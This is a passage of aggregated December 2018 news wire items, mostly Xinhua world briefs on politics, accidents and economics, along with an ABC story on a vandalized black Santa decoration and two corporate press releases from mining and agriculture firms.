there are plenty of Santa decorations in the neighborhood but his and his wifes was the only one that was black. I can understand someone not like a black Santa, but to vandalize it goes beyond being offended. It goes to racism, Fritz Richard said. Deputies canvassed the area soon after the Richards discovered the slashed inflatable, but could not find any residential security cameras or physical evidence, Deputy Jeff Talbot, public information officer for the Washington County Sheriffs Office, told ABC News in an email. As outside holiday decorations have become more elaborate over the last several years, we have seen an increase of vandalism and theft of such objects, he told ABC News. Because we do not have any suspect information, we cannot speculate on possible motives. The Richards told ABC News that in the 21 years that they had lived in the neighborhood, theyd never experienced something like this. Fritz Richard posted about the incident on the neighborhood social network, Nextdoor, and quickly began receiving responses from neighbors. Marcy and Richard Lowy, who have been living in the neighborhood since 1975 and live about three blocks away from the Richards, responded to the post right away, they told ABC News. We ordered a black Santa and we are waiting for it to be delivered, Marcy Lowy told ABC News. She also encouraged others to get involved, saying on Nextdoor, OKJust ordered one from Amazon, anyone else want to join? The Richards have also reordered the same Santa decoration and plan to set it up after installing security cameras. Belinda Richard told ABC News she is not letting this incident ruin her holiday joy. We have rights and this is our property. We can celebrate Christmas the way we think is right for our family and no one has the right to take that away from us, she told ABC News. Talbot said that anyone with information about this case is asked to contact the Washington County Sheriffs Office. Copyright 2018, ABC Radio. All rights reserved. Source: Xinhua| 2018-12-20 22:53:30|Editor: yan Video Player Close DHAKA, Dec. 20 (Xinhua) -- A head-on collision between a bus and a passenger van in Bangladesh's Gopalganj district, some 127 km southwest of capital Dhaka, on Thursday night left 10 people dead and several others injured, a senior police official said. Monir Hossain, officer-in-charge of a police station in Gopalganj, told Xinhua over mobile phone that "10 passengers were killed on the spot in the head-on collision between the passenger bus and the passenger van." The road accident that occurred at around 6:00 p.m. local time also left some five passengers injured, he said. But local media reported injury toll could be as high as 20. The police official said all the injured were rushed to local hospitals and clinics, adding the cause of the accident is under investigation. Source: Xinhua| 2018-12-20 22:58:31|Editor: yan Video Player Close MOSCOW, Dec. 20 (Xinhua) -- Russian President Vladimir Putin said Thursday that he is ready to meet with his U.S. counterpart Donald Trump and discuss bilateral relations and multiple issues on the international agenda. "I don't know if there is going to be a meeting between us. I have said many times that we are ready, and we believe that there are issues we must discuss together," Putin said at an annual press conference. He said the two sides need to discuss the bilateral relations which both Moscow and Washington are interested in, as well as issues regarding the Democratic People's Republic of Korea, Afghanistan and many others in the world. "I hope that something is going to be corrected, as in fact we have reached the bottom of our relations and we should understand that there is a necessity to go up from this bottom, take a breath of fresh air and to think with a clear head on how to live further," Putin said. Last month, following the cancellation of a meeting between the leaders in Paris, Trump called off another previously scheduled meeting with Putin on the sidelines of the Group of 20 in the Argentine capital of Buenos Aires. Trump's calling off the meeting was denounced by Moscow as a result of U.S. internal politics. Source: Xinhua| 2018-12-20 23:13:34|Editor: yan Video Player Close TRIPOLI, Dec. 20 (Xinhua) -- UN Support Mission in Libya (UNSMIL) on Thursday expressed concern over the military escalation in western Libya, where the eastern-based army attacked an armed group on Wednesday. "Reports from Sirte vicinity are worrying -- whether caused by misjudgment or bad faith; Libya doesn't need new bloody battles. It needs guns to be silenced and clashes avoided," the Mission said in a statement. "UNSMIL warns parties against consequences of playing with fire, will hold initiators responsible and deal with them accordingly," the statement said. The eastern-based army announced earlier on Wednesday that it launched an attack in Al-Sdada, some 280 km east of the capital Tripoli, against an armed group that used to occupy vital oil ports. The Libyan government condemned the military escalation in the Al-Sdada area and called for resorting to reason and refraining from any further escalation. Ever since the fall of the late leader Gaddafi's regime in 2011, Libya has been suffering political division, insecurity and chaos. Source: Xinhua| 2018-12-20 23:23:39|Editor: yan Video Player Close LUSAKA, Dec. 20 (Xinhua) -- More than half of Zambia's mining firms will become loss-making at current copper prices if the Zambian government goes ahead to implement its proposed new tax regime, a report released on Thursday has revealed. The report titled "Taxing the Mining Industry" released by the Chamber of Mines of Zambia, an association representing mining firms in Zambia, said the position would be even worse for gemstone producer who have an additional export duty to contend with. Goodwell Mateyo, president of the association said during the release of the report that Zambia will tax itself out of the market for new investment and expanded operations if the new tax regime goes ahead. He said for a country that has acknowledged the need to diversify its mineral sector as well as its economy, the move was a completely self-defeating initiative. "The research shows that if the 2019 budget proposals are enacted, Zambia will have by far the highest tax burden of the 12 mining countries sampled," he told reporters during the release of the report. Zambia's mine are grappling with the reality of massively increased costs next year and the only operational response available will be to scale back certain operations, reduce capital expenditure, and mine only the highest grades available, he added. There is a standoff between the government and the mining firms on the backdrop of new tax regime which comes into effect next January. Among the new measures in the new tax regime include increasing mineral royalty rates by 1.5 percentage points at all levels of the sliding scale, and introducing a fourth tier rate at 10 percent on the sliding mineral royalty regime, which would apply when copper price rise beyond 7,500 U.S. dollars per tonne. While the government has insisted on effecting the new tax regime, mining firms have warned of job cuts and reduced capital expenditure. Source: Xinhua| 2018-12-20 23:28:44|Editor: yan Video Player Close TEHRAN, Dec. 20 (Xinhua) -- Iran's Intelligence Ministry on Thursday rejected the Israeli prime minister's claim that Tel Aviv's agents routinely visit the Islamic republic for spying on its nuclear program, Press TV reported. Such "delusional remarks" are merely meant to ease the pressures on Israeli Prime Minister Benjamin Netanyahu over recent revelations about Iran's successful infiltration into Israel's espionage services, the report quoted the ministry as saying. On Sunday, Netanyahu said that Israeli spies have been working "all over the world in regards to Iran's nuclear program." "We also visit there (Iran) periodically ... to catch up," he added. Netanyahu "has come under the most intense internal and foreign pressures due to the leaks about an Israeli minister spying for Iran as well as the large-scale infiltration into the Zionist regime's intelligence services by those of the Islamic Republic of Iran," an unnamed Iranian Intelligence Ministry official was also quoted as saying by the Press TV. The Iranian official was referring to the arrest in June of former Israeli Energy Minister Gonen Segev on charges of spying for Iran, giving the Islamic republic information about Israel's energy sector, security sites and the identity of officials in the security and political establishments, among other things. Netanyahu recently ordered Israel's so-called Security Agency to check on all political, parliamentary and intelligence officials for possible contacts with Iranian intelligence services, he said. "This order is indicative of the realities that do not need explanations," the official was quoted as saying by Press TV. Source: Xinhua| 2018-12-20 23:28:45|Editor: yan Video Player Close SARAJEVO, Dec. 20 (Xinhua) -- Bosnia and Herzegovina's (BiH's) police have arrested 12 persons on Thursday over smuggling of arms, people and goods, said BiH Prosecutors Office in a statement on Thursday. On the order of BiH's Prosecutors Office, members of BiH's Border Police (GPBiH), Ministry of Internal Affairs of Republika Srpska (MUPRS), in cooperation with Institutions of Serbia, deprived of liberty 12 persons in city of Brcko, located 200 kilometres north of the capital Sarajevo and in Bijeljina, located 190 northwest. The targets of the raid codenamed "Scorpio" were persons suspected of acting as an organized criminal group, for a longer period of time, dealing with the smuggling of weapons and military equipment to countries of the European Union (EU), trafficking in human beings and the smuggling of goods of greater value from Serbia to BiH. Among the arrested persons is M.B., a member of GPBiH, who is suspected of having committed the criminal offense of Organized Crime in conjunction with the criminal offense of Illicit Trafficking in Military Equipment and Dual Purpose Products. In addition, he is suspected of misuse of position and corruption, the statement added. During the raid on 10 locations, a considerable amount of weapons, military equipment and smuggled goods have been found. Source: Xinhua| 2018-12-20 23:33:49|Editor: Yamei Video Player Close Medical team of China State Construction Engineering Corporation (CSCEC) carries out an emergency rescue drill to help workers who fall from height at the construction site in Farwaniya, Kuwait, on Dec. 19, 2018. The CSCEC on Thursday held an award ceremony to wrap up a security education week for its employees working in Kuwait. The annual event was held at CSCEC's construction project in Kuwait University in Farwaniya Governorate. At the ceremony, CSCEC's representatives presented awards for its employees who won a firefighting competition. The event, kicked off on Dec. 15, included fire awareness education, firefighting competition, construction-cleanup training and emergency rescue. (Xinhua/Yu Long) KUWAIT CITY, Dec. 20 (Xinhua) -- China State Construction Engineering Corporation (CSCEC) on Thursday held an award ceremony to wrap up a security education week for its employees working in Kuwait. The annual event was held at CSCEC's construction project in Kuwait University in Farwaniya Governorate. At the ceremony, CSCEC's representatives presented awards for its employees who won a firefighting competition. The event, kicked off on Dec. 15, included fire awareness education, firefighting competition, construction-cleanup training and emergency rescue. Nearly 300 people, including CSCEC's Chinese and foreign employees and the project's engineering supervisors form Kuwait, attended the ceremony. At the ceremony, the employees performed popular songs and traditional Chinese dances. The audience, mainly employees from India, Pakistan and Egypt, also performed dances to heighten the event's atmosphere. Yang Chunsen, vice president of CSCEC Middle East and Chief Representative of CSCEC Kuwait Representative Office, said that CSCEC attaches great importance to production's security and holds regular training to raise safety awareness. Regular security training ensures safety of the project and has won a reputation for the Chinese construction companies in Kuwait, Yang added. Source: Xinhua| 2018-12-20 23:33:51|Editor: Chengcheng Video Player Close PHNOM PENH, Dec. 20 (Xinhua) -- The ruling Cambodian People's Party (CPP) on Thursday added seven new members, including Hun Manet, the eldest son of Prime Minister Samdech Techo Hun Sen, to its permanent committee during an annual congress here, said a party's communique. Six others included Foreign Minister Prak Sokhonn, Finance Minister Aun Pornmoniroth, Land Management and Urban Planning Minister Chea Sophara, Royal Cambodian Armed Forces (RCAF) Commander-In-Chief Vong Pisen, National Military Police Commander Sao Sokha, RCAF's Joint Chief of Staff Ith Sarath, said the communique released at the end of the 41st congress of the CPP's central committee. Hun Manet, who graduated from West Point Military Academy in the United States, is currently a RCAF's deputy commander-in-chief and the commander of the Royal Cambodian Army. "The election to add Hun Manet to the permanent committee was made in accordance with the CPP's democracy," CPP spokesman Suos Yara said during a press conference at the end of the congress. "Moreover, Hun Manet is a high-profile figure, who has received duties to defend the nation and is the commander of the Royal Cambodian Army." The CPP's permanent committee is now comprised of 37 members of the country's political elite, including Hun Sen, who is also the party's president. According to the communique, the congress vowed not to bow to international pressure over the government's actions against the court-dissolved opposition Cambodia National Rescue Party and its leaders in "treason" case. The congress also vowed to support the government's policies to boost economic growth, to create more jobs, to further reduce poverty, and to combat corruption, it said. The CPP has ruled the country since 1979. The party's central committee consists of 865 members. In a general election on July 29, the CPP won all 125 seats in the National Assembly. Source: Xinhua| 2018-12-20 23:33:52|Editor: yan Video Player Close MINSK, Dec. 20 (Xinhua) -- Belarus will continue to strengthen its independence and sovereignty, Foreign Minister Vladimir Makei said Thursday. For many centuries, Belarusians have dreamed of independence, therefore today the country is simply obliged to remain sovereign, Makei said after the flag-raising ceremony at the Foreign Ministry. "Strengthening independence and territorial integrity today is one of the basic, fundamental issues," the official said, adding that Belarusians should think about this day and night. However, at a meeting of the Council of Ministers of the Union State of Belarus and Russia in Brest earlier, Russian Prime Minister Dmitry Medvedev named "more profound integration" as the condition under which Russia is ready to make concessions on the issue of oil and gas in relation to Belarus. Source: Xinhua| 2018-12-20 23:38:54|Editor: yan Video Player Close MOSCOW, Dec. 20 (Xinhua) -- Russia has the right to implement its military policy in Crimea in a way that benefits national security, as Crimea is a part of Russia, President Vladimir Putin said Thursday. "Russia's security will be ensured. We are not going to come up with something extra, but what is required will be done," Putin said in his annual press conference. He recalled that in 2014, people in Crimea voted in a referendum for the "reunification with Russia" and following a set of domestic procedures the peninsula became part of Russia. Russia has allocated funds to build roads and energy projects in Crimea, he added. Regarding the recent tensions between Russia and Ukraine in the Kerch Strait that separates Crimea and Russia's mainland, Putin said that Russian fishers were seized by Ukraine last month for entering the ports of Crimea in the neutral waters of the Sea of Azov collectively owned by Russia and Ukraine, but nobody criticized Kiev for that. On Nov. 25, Russia opened fire and seized three Ukrainian naval ships attempting to sail through the Kerch Strait for allegedly breaching the Russian border. Putin said some politicians in Kiev threatened to blow up the newly commissioned bridge over the Kerch Strait and Russia cannot allow that to happen. "As for ordinary day-to-day activities there, they are not limited in any way," Putin added. The Kremlin initiated Putin's annual press conference in 2001, which provides an opportunity for the president to elaborate on policy and solve pressing problems facing ordinary Russian citizens. Relations between Russia and Ukraine have been deteriorating since Crimea was incorporated into Russia in March 2014 following a local referendum. Ukraine says the peninsula was annexed. MELBOURNE, Australia, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Clean TeQ Holdings Limited (Clean TeQ or Company) (ASX/TSX:CLQ; OTCQX:CTEQF) is pleased to advise of the approval of Modification 4 to the Development Application for the Clean TeQ Sunrise Project (Project) by the New South Wales Independent Planning Commission (IPC). This represents another important milestone as the Project advances through engineering and financing phases, before a targeted commencement of construction in mid-2019. Modification 4 allows Clean TeQ to implement a number of improvements designed to optimise and further de-risk the Clean TeQ Sunrise operation. The key features of Modification 4 include amendments to the processing plant design and layout, mine plan and general logistics, diversification of water supply via approval to access surface water from the Lachlan River as well as consent to produce up to 100,000 tonnes per annum of ammonium sulphate for sale as a by-product as described in the Definitive Feasibility Study (DFS) published in June 2018. These are important changes which will enable the Project to more effectively respond to the rapidly growing global demand for nickel and cobalt. The approval follows a period of extensive consultation with local residents and communities across the Shires of Parkes, Lachlan and Forbes, as well as working through a formal process with the IPC. It also concludes the final outstanding modification under application, with Modification 6 having been approved in May 2018. Sam Riggall, Chief Executive Officer, commented, While Clean TeQ Sunrise already had development approval, Modification 4 optimises and further enhances the operability of this globally significant development Project. We appreciate the input of our community stakeholders to the modification process; this has been vital in ensuring our future co-existence and Clean TeQs social licence to operate. For more information, please contact: Richard Glass, Investor Relations (Australia) +61 3 9797 6781 Evan Young, Investor Relations (North America) +1 647 808 2141 About Clean TeQ Holdings Limited (ASX/TSX: CLQ) Based in Melbourne, Australia, Clean TeQ is a global leader in metals recovery and industrial water treatment through the application of its proprietary Clean-iX continuous ion exchange technology. For more information about Clean TeQ please visit the Companys website www.cleanteq.com . About the Clean TeQ Sunrise Project Clean TeQ is the 100% owner of the Clean TeQ Sunrise Project, located in New South Wales. Clean TeQ Sunrise is one of the largest cobalt deposits outside of Africa, and one of the largest and highest-grade accumulations of scandium ever discovered. About Clean TeQ Water Through its wholly owned subsidiary Clean TeQ Water, Clean TeQ is also providing innovative wastewater treatment solutions for removing hardness, desalination, nutrient removal, zero liquid discharge. The sectors of focus include municipal wastewater, surface water, industrial waste water and mining waste water. For more information about Clean TeQ Water please visit www.cleanteqwater.com. FORWARD-LOOKING STATEMENTS Certain statements in this news release constitute forward-looking statements or forward-looking information within the meaning of applicable securities laws. Such statements involve known and unknown risks, uncertainties and other factors, which may cause actual results, performance or achievements of the Company, the Clean TeQ Sunrise Project, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements or information. Such statements can be identified by the use of words such as may, would, could, will, intend, expect, believe, plan, anticipate, estimate, scheduled, forecast, predict and other similar terminology, or state that certain actions, events or results may, could, would, might or will be taken, occur or be achieved. These statements reflect the Companys current expectations regarding future events, performance and results, and speak only as of the date of this new release. Statements in this news release that constitute forward-looking statements or information include, but are not limited to statements regarding: the expectation that Modification 4 will allow Clean TeQ to implement a number of improvements designed to optimise and further enhances the operability of the Clean TeQ Sunrise Project. Readers are cautioned that actual results may vary from those presented. All such forward-looking information and statements are based on certain assumptions and analyses made by Clean TeQs management in light of their experience and perception of historical trends, current conditions and expected future developments, as well as other factors management believe are appropriate in the circumstances. These statements, however, are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking information or statements including, but not limited to, unexpected changes in laws, rules or regulations, or their enforcement by applicable authorities; the failure of parties to contracts to perform as agreed; changes in commodity prices; unexpected failure or inadequacy of infrastructure, or delays in the development of infrastructure, and the failure of exploration programs or other studies to deliver anticipated results or results that would justify and support continued studies, development or operations. Other important factors that could cause actual results to differ from these forward-looking statements also include those described under the heading "Risk Factors" in the Company's most recently filed Annual Information Form available under its profile on SEDAR at www.sedar.com. Readers are cautioned not to place undue reliance on forward-looking information or statements. Although the forward-looking statements contained in this news release are based upon what management of the Company believes are reasonable assumptions, the Company cannot assure investors that actual results will be consistent with these forward-looking statements. These forward-looking statements are made as of the date of this news release and are expressly qualified in their entirety by this cautionary statement. Subject to applicable securities laws, the Company does not assume any obligation to update or revise the forward-looking statements contained herein to reflect events or circumstances occurring after the date of this news release. Source: Xinhua| 2018-12-20 23:43:55|Editor: Yamei Video Player Close NEW YORK, Dec. 20 (Xinhua) -- Chinese President Xi Jinping's speech celebrating the 40th anniversary of the country's reform and opening-up was a "remarkable tour d'horizon of the foundations of China's modern-day success," a renowned U.S. expert on China has said. "The standout feature of his address was his ability to hone into two key, inter-linked ingredients of the 1978 opening-up and reforms" that have served China well, Sourabh Gupta, senior fellow at the Institute for China-America Studies in Washington, D.C., said in a written interview with Xinhua. China held a grand celebration on Tuesday on the occasion of the 40th anniversary of its reform and opening-up, honoring 100 Chinese and 10 foreigners for their remarkable contributions to China's development over the past decades. Gupta said he had identified two key ingredients: "the unswerving focus on flexibility and pragmatism over dogma and rigidity" and "the equally unswerving focus on innovation and experimentation to seek a better way forward." The Chinese president also said that there was "no end to the development of practice," Gupta said. "Theoretical innovations themselves must, first of all, be based on and be informed by practice. Equally, on the experimentation front, Xi noted that innovation was itself the life-blood of reform and opening-up," the expert said. "In what I felt was his most powerful sentence, he exhorted his countrymen and women to 'grasp the essence and internal connection of the development of things with a profound historical perspective as well as broad international perspective,' while sticking with a problem-solving and goal-oriented approach," Gupta said. Gupta said he thinks the celebration was about identifying the ingredients of China's remarkable post-1978 successes and then using these insights as a guide to inform future actions. "The address was about capturing and relaying these intangibles to his national and international audience; it was not about satisfying a checklist of foreign demands," he said. Source: Xinhua| 2018-12-20 23:43:56|Editor: yan Video Player Close TRIPOLI, Dec. 20 (Xinhua) -- UN Special Envoy to Libya Ghassan Salame on Thursday said that the Libyan oil "belongs to all Libyans" and warned against using the oil for "bargaining." "Libya's oil belongs to all Libyans. No one has the right to obstruct the production, transportation and export of it. Workers' salaries must be protected and paid," Salame said in a statement. "Libya's oil should not be taken hostage ... The nation's wealth must not be used for bargaining and must remain untouched by tensions and shocks," the statement added. The Libyan government on Wednesday announced that the largest oil field, Al-Sharara, was reopened after it was forcefully closed two weeks ago by gunmen and protesters demanding better services for the south. The government made the announcement following a visit by Prime Minister Fayez Serraj to the field, where he promised to improve the security and services in the region. Al-Sharara, located some 750 km southwest of capital Tripoli, is the largest oil field in Libya. It produces 270,000 barrels of oil per day, more than a quarter of Libya's daily oil production. File Photo: Chinese and U.S. flags are set up for a meeting during a visit by U.S. Secretary of Transportation Elaine Chao at China's Ministry of Transport in Beijing, China April 27, 2018. (Xinhua/REUTERS) NEW YORK, Dec. 19 (Xinhua) -- The United States and China were urged to show "intelligent diplomacy" to deepen their ties amid challenges as U.S. experts convened for a panel discussion here on Tuesday. U.S.-China differences can be resolved through negotiation, and the collaboration between the two sides is not only mutually beneficial but also conducive to world prosperity and stability, Chas Freeman, former U.S. assistant secretary of defense, told the panel organized by the New York-based National Committee on U.S.-China Relations (NCUSCR). "Experience shows that, with intelligent diplomacy, such disputes with China can be resolved by negotiation," said Freeman, a fluent Chinese speaker who served as an interpreter for then-U.S. President Richard Nixon on his ground-breaking trip to China in 1972. The disputes, he added, "will not just cost us dearly," but "could be fatal." Themed "Reflections on 40 Years," the panel was held to commemorate the 40th anniversary of China-U.S. diplomatic relations. Panelists from business, diplomatic, cultural and academic communities held discussions on the past, present and future of the bilateral relations. China is a huge potential export market for U.S. goods and services. Meanwhile, Chinese exports to the United States have helped keep consumer prices low and "mitigated the increasing inequality of income distribution" there, noted Freeman, who is also a senior fellow of the Watson Institute for International and Public Affairs at Brown University. Freeman spoke highly of China's commitment to increasing imports, adding that China is "a valued member of the international community and an active participant" in global governance. Freeman was joined by many at the discussion in recognizing the benefits from the development of China-U.S. relations. David Lampton, a professor emeritus and director of China studies at Johns Hopkins University, emphasized the significance of keeping the momentum of academic and educational exchanges in the ties. With "350,000 Chinese students in the United States today" paying "13 billion U.S. dollars annually for tuitions and fees," he noted, education "has become a big export item." "No matter what happens today, tomorrow, or the next day, there is this human plug between our two societies," Lampton added. U.S. business legend Maurice R. Greenberg, drawing on his decades of experience in doing business in China, said that he had faith in the win-win cooperation between China and the United States. Founded in 1966, the NCUSCR is a non-partisan, non-profit organization dedicated to the promotion of understanding and cooperation between the United States and China. Tuesday's event attracted more than 100 attendees, including many experts who have made contributions to the bilateral ties. Source: Xinhua| 2018-12-21 00:04:02|Editor: yan Video Player Close KIGALI, Dec. 20 (Xinhua) -- Rwandan entrepreneurs must embrace electronic trade platform to widen their market reach and become more productive and competitive in the global trade, Rwandan Minister of ICT and Innovation Paula Musoni, said Thursday. E-commerce is an innovative and a powerful tool for promoting products online, which is key to boosting industrialization, manufacturing and trade in Rwanda, Musoni said at the Rwanda Internet Governance Forum 2018 in capital Kigali. The one-day forum dubbed "Accelerating Digital and Internet Economy through E-commerce in Rwanda" seeks to examine ways for Rwandan manufactures and enterprises to engage in and benefit from e-commerce and the evolving global digital economy. There is an increasingly global trend of shopping online and Rwandan traders should use the opportunity to put their products online to attract international markets, said the minister. Slow internet penetration, lack of enough information and limited e-logistics facilities place a huge barrier in adopting the e-commerce platform by Rwandan entrepreneurs, she said. She added that the government is going to ensure the increase in internet penetration in the country to facilitate the growth of e-commerce in Rwanda. The Rwandan government and China's e-commerce giant Alibaba in October launched Alibaba's Electronic World Trade Platform (eWTP), which makes Rwanda the first African country to launch this platform. The eWTP initiative aims to promote public-private dialogue to foster a more effective and efficient policy and business environment to enable small and medium-sized enterprises to participate in cross-border electronic trade. Source: Xinhua| 2018-12-21 00:09:05|Editor: yan Video Player Close BEIJING, Dec. 20 (Xinhua) -- China's National People's Congress (NPC) expressed strong indignation at and firm opposition to the United States on its signing into law of the Reciprocal Access to Tibet Act of 2018, said a statement issued by the NPC Foreign Affairs Committee Thursday night. Source: Xinhua| 2018-12-21 00:14:08|Editor: yan Video Player Close HAIKOU, Dec. 20 (Xinhua) -- China recorded significantly fewer new drug users this year compared to the last three years, according to a national drug control meeting held in Hainan Province Thursday. The number of new drug users recorded this year decreased by 63 percent compared with 2015, 56 percent than in 2016 and 43 percent than in 2017, with the proportion of drug-related juvenile offenders going down in 30 provinces and municipalities. The China National Narcotics Control Commission launched a digital platform to promote drug prevention among adolescents in 2015. So far about 68 million primary and secondary students at over 170,000 schools have received education on the platform. The numbers of major drug cases uncovered and drug labs destroyed in 2018 have dropped by 42 percent and 38 percent respectively compared with 2016. Source: Xinhua| 2018-12-21 00:14:09|Editor: yan Video Player Close ADDIS ABABA, Dec. 20 (Xinhua) -- Chinese firm PowerChina International Group Limited (PCIGL) on Thursday donated educational supplies to Ethiopia blind charity -Addis Hiwot Center of the Blind (AHCB). PCIGL donations consisted of computers, audio players, earphones and other stationary materials that can easily be used by visually impaired people. Speaking at the donation ceremony in Addis Ababa, Fu Jie, Ethiopia Country Manager of PCIGL, said Wednesday's donation is the latest in a series of philanthropic donations across Ethiopia done by PCIGL. The donation to the charity is part of our social responsibility as a member of this society, it also expresses our sincerity to this community by giving aid to those who are in need, he added. PCIGL has been involved in Ethiopia's infrastructure project for close to two decades, building hydro plants, road projects and wind farms. Asrat Tilahun, Board member of Addis Hiwot Center of the Blind, said the educational supplies donation can help the center maintain its charity services. The charity offers training of skills and educational services to about 500 people. The charity has previously received donations from the Chinese embassy in Ethiopia. Dawit Berhanu, 35, a beneficiary of Addis Hiwot Center of the Blind, said the donations from PowerChina will ensure blind people can benefit from the charity's services as he successfully did. Source: Xinhua| 2018-12-21 00:49:19|Editor: yan Video Player Close GABORONE, Dec. 20 (Xinhua) -- Botswana's mining production index fell to 87.1 in the third quarter of 2018, posting a year-on-year contraction of 4.2 percent, triggered by the continued slowdown in the diamond mining sector, its statistics office said on Thursday. In its latest index of the physical volume of mining production, Statistics Botswana announced that the main contributor to the decrease in the index was diamonds, having contributed 4.6 percentage points. The quarter-on-quarter analysis shows a decrease of about 7 percent from the index of 94.0 during the second quarter of 2018 to 87.1 observed in the reference period, according to the latest figures. According to the recently released statistics, the diamond production decreased by 4.8 percent during the third quarter of 2018, compared to the same quarter of the previous year. "The decline came as a result of planned strategy to reduce bulky production in order to align production with trading conditions," said Burton Mguni, the southern African country's statistician general. Mguni said the quarter-on-quarter analysis reflects that diamond production declined by 8.4 percent during the third quarter of 2018 compared to the second quarter of the same year. Since the 2008 world credit crunch, Botswana has struggled to fully recover from the unfavorable trading conditions on the international market, as most buyers slowed down treating diamonds as luxury. In this file photo taken on March 18, 2008, Russian troops are seen near truck-mounted Topol-M intercontinental ballistic missiles at a training field outside Moscow. MOSCOW, Dec. 20 (Xinhua) -- Russia is developing new weapons to keep strategic balance and defend its security in the face of a collapse of the international arms deterrence system, Russian President Vladimir Putin said Thursday. "We will safeguard our security. We know how to do it. But in general, for humanity, this is very bad, because it brings us to a very dangerous point," Putin said at an annual press conference. He recalled that after the withdrawal of the United States from the Anti-Ballistic Missile (ABM) Treaty in 2002, Russia was forced to respond with the creation of new weapons systems to overcome missile defense systems. Now the United States has announced the withdrawal from the Intermediate-Range Nuclear Forces (INF) Treaty with possible deployment of such missiles in Europe, to which Russia will have to respond, Putin said. The fate of another non-proliferation treaty is under question, the New Strategic Arms Reduction Treaty (START), which expires in 2021 and no negotiations have yet been conducted on its extension, he said. Putin said that there is also a danger of application of low power nuclear charges, which may cause a global nuclear catastrophe leading to the "death of the entire civilization and, perhaps, of the planet." "But I assume that humanity has enough common sense and a sense of self-preservation in order not to reach the extreme point," he said. Source: Xinhua| 2018-12-21 03:04:51|Editor: yan Video Player Close RIGA, Dec. 20 (Xinhua) -- Negotiations on Latvia's next coalition government ran into a deadlock again on Thursday as the five political parties involved in the talks could not agree on who will be heading the ministry of interior. Krisjanis Karins, a candidate for prime minister from the center-right New Unity party, has been leading the talks since the attempt by Aldis Gobzems from KPV LV party to form a government failed earlier this month. Karins had asked the potential coalition partners to come up with their proposals for the distribution of ministerial portfolios in his five-party cabinet. After KPV LV nominated Gobzems as their candidate for Latvia's next interior minister, Karins announced he "would not form a government with Gobzems as the interior minister". Karins said he would continue the negotiations with the parties until Friday in a bid to reach an agreement on a stable majority coalition that would include New Unity, the New Conservative Party, KPV LV, the liberal alliance For Development/For and the right-wing National Alliance. KPV LV representative Atis Zakatistovs said that his party would stand by Gobzems as the candidate for interior minister and would not name another candidate. He also called on Karins to publicly explain the reasons for rejecting Gobzems as interior minister. Without KPV LV, the Karins-led coalition would only have 50 votes in Latvia's 100-seat parliament, which would make passing decisions difficult. HONG KONG, Dec. 19, 2018 (GLOBE NEWSWIRE) -- Agria Corporation (Agria or the Company), today announced that on December 14, 2018 Ngai Tahu ceased to be a party to the shareholders agreement in relation to the controlling interest in PGW Wrightson. Agria Group Limited, New Hope and Ngai Tahu (Shareholders) were parties to a shareholders agreement dated April 17, 2011 in relation to their shareholding in Agria Asia Investments (Shareholders Agreement). Agria Asia Investments in turn holds all of the shares in Agria Singapore, which held 379,068,619 ordinary shares in PGW (being 50.218% of the shares on issue in PGW). Under the terms of the divestment agreement, Agria Singapore has transferred 27,434,625 PGW shares to Ngai Tahu Capital Ltd, which will now hold its PGW shares directly. Accordingly, the following changes to the PGW share register have been implemented: 1. Agria Singapores shareholding in PGW will decrease from 50.218% to 46.583% 2. Ngai Tahu Capital Ltd will hold 3.634% of the shares in PGW directly. The transaction enables Ngai Tahu to have flexibility in its investment decision making and to hold its interest in PGW directly. The transaction was undertaken pursuant to the Takeovers Code (PGG Wrightson Limited) Exemption Notice 2018, which was granted by the New Zealand Takeovers Panel on December 11, 2018. About Agria Corporation Agria is a global agricultural company with three principal business segments: Seed and Grain; Crop Protection, Nutrients and Merchandise; and Rural Services. The Seed and Grain segment is engaged in research and development, production and sale of a broad range of seed products and trading of seed and grain products globally. The Crop Protection, Nutrients and Merchandise segment operates an extensive chain of retail stores that supply farm input materials. The Rural Services segment provides livestock trading, wool trading, irrigation and pumping, real estate agency and other agriservices. For more information about Agria Corporation, please visit www.agriacorp.com. Contact: The Blueshirt Group Asia Gary Dvorchak, CFA Phone (China): +86 (138) 1079-1480 Email: gary@blueshirtgroup.com File Photo: Syrian schoolchildren walk as U.S. troops patrol near Turkish border in Hasakah, Syria Nov. 4, 2018. (Xinhua/REUTERS) UNITED NATIONS, Dec. 20 (Xinhua) -- Outgoing UN Special Envoy for Syria Staffan de Mistura on Thursday was unwilling to comment on U.S. President Donald Trump's decision to withdraw troops from Syria. "It is totally premature for making any comment on my side on the implications, the effects of that important decision, which was announced yesterday -- both on the political ground and on the military ground," de Mistura told reporters after his briefing to the Security Council. "I am unable to make any comment. It's premature for me to do so." De Mistura, after more than four years as UN special envoy for Syria, steps down by the end of the year. He will be replaced by Geir Pedersen of Norway. The White House said Wednesday that the Trump administration has started returning U.S. troops home from Syria after claiming victory in the fight against the Islamic State terrorist group in the region. Asked earlier Thursday to comment on the U.S. decision, French ambassador to the United Nations Francois Delattre said: "We need more than ever America's political commitment to a political solution in Syria." Source: Xinhua| 2018-12-21 06:20:35|Editor: yan Video Player Close HELSINKI, Dec. 20 (Xinhua) -- Nearly all Finnish parliamentary parties have agreed that Finland will start working for stricter anti-carbon policies in the European Union (EU), Finnish media reported on Thursday. The parties demanded that the EU should reach carbon neutrality before 2050. Carbon neutrality means that the EU should only produce the amount of emissions that the nature can absorb. Finland would promote the goal during its EU presidency in 2019, media reports said. The decision made public on Thursday was reached in the round table talks initiated by Prime Minister Juha Sipila in early November. The Finnish parties also set as a goal that emissions in the EU should decline by 2030 to a level reflecting at least a 55 percent reduction of the emissions in 1990. The current goal for 2030 is 40 percent less than in 1990. Local commentators have noted that with these decisions Finland will be positioning itself parallel to countries such as Sweden, the Netherlands and Denmark that have been backing a tough line. Of the political parties represented in parliament, only the Finns Party did not join in announcing the decision. But local observers noted that they, unlike some other populist parties internationally, do not deny the existence of the climate change. The Finnish parties suggest that the necessary additional measures to speed up the emission cutbacks should be targeting the emissions trade so that that energy production and industries would make further progress towards low carbon levels. The round table talks were launched with a view that the parties could agree on such common climate policy goals that would last beyond the four-year parliamentary tenure. All-party round table preparation is fairly rare in Finnish parliament. The opposition Finns Party participated until this week. Source: Xinhua| 2018-12-21 06:40:45|Editor: yan Video Player Close WASHINGTON, Dec. 20 (Xinhua) -- The Trump administration is considering a substantial reduction of U.S. troops in Afghanistan, according to U.S. media reports on Thursday. U.S. officials said that U.S. troop reduction in Afghanistan 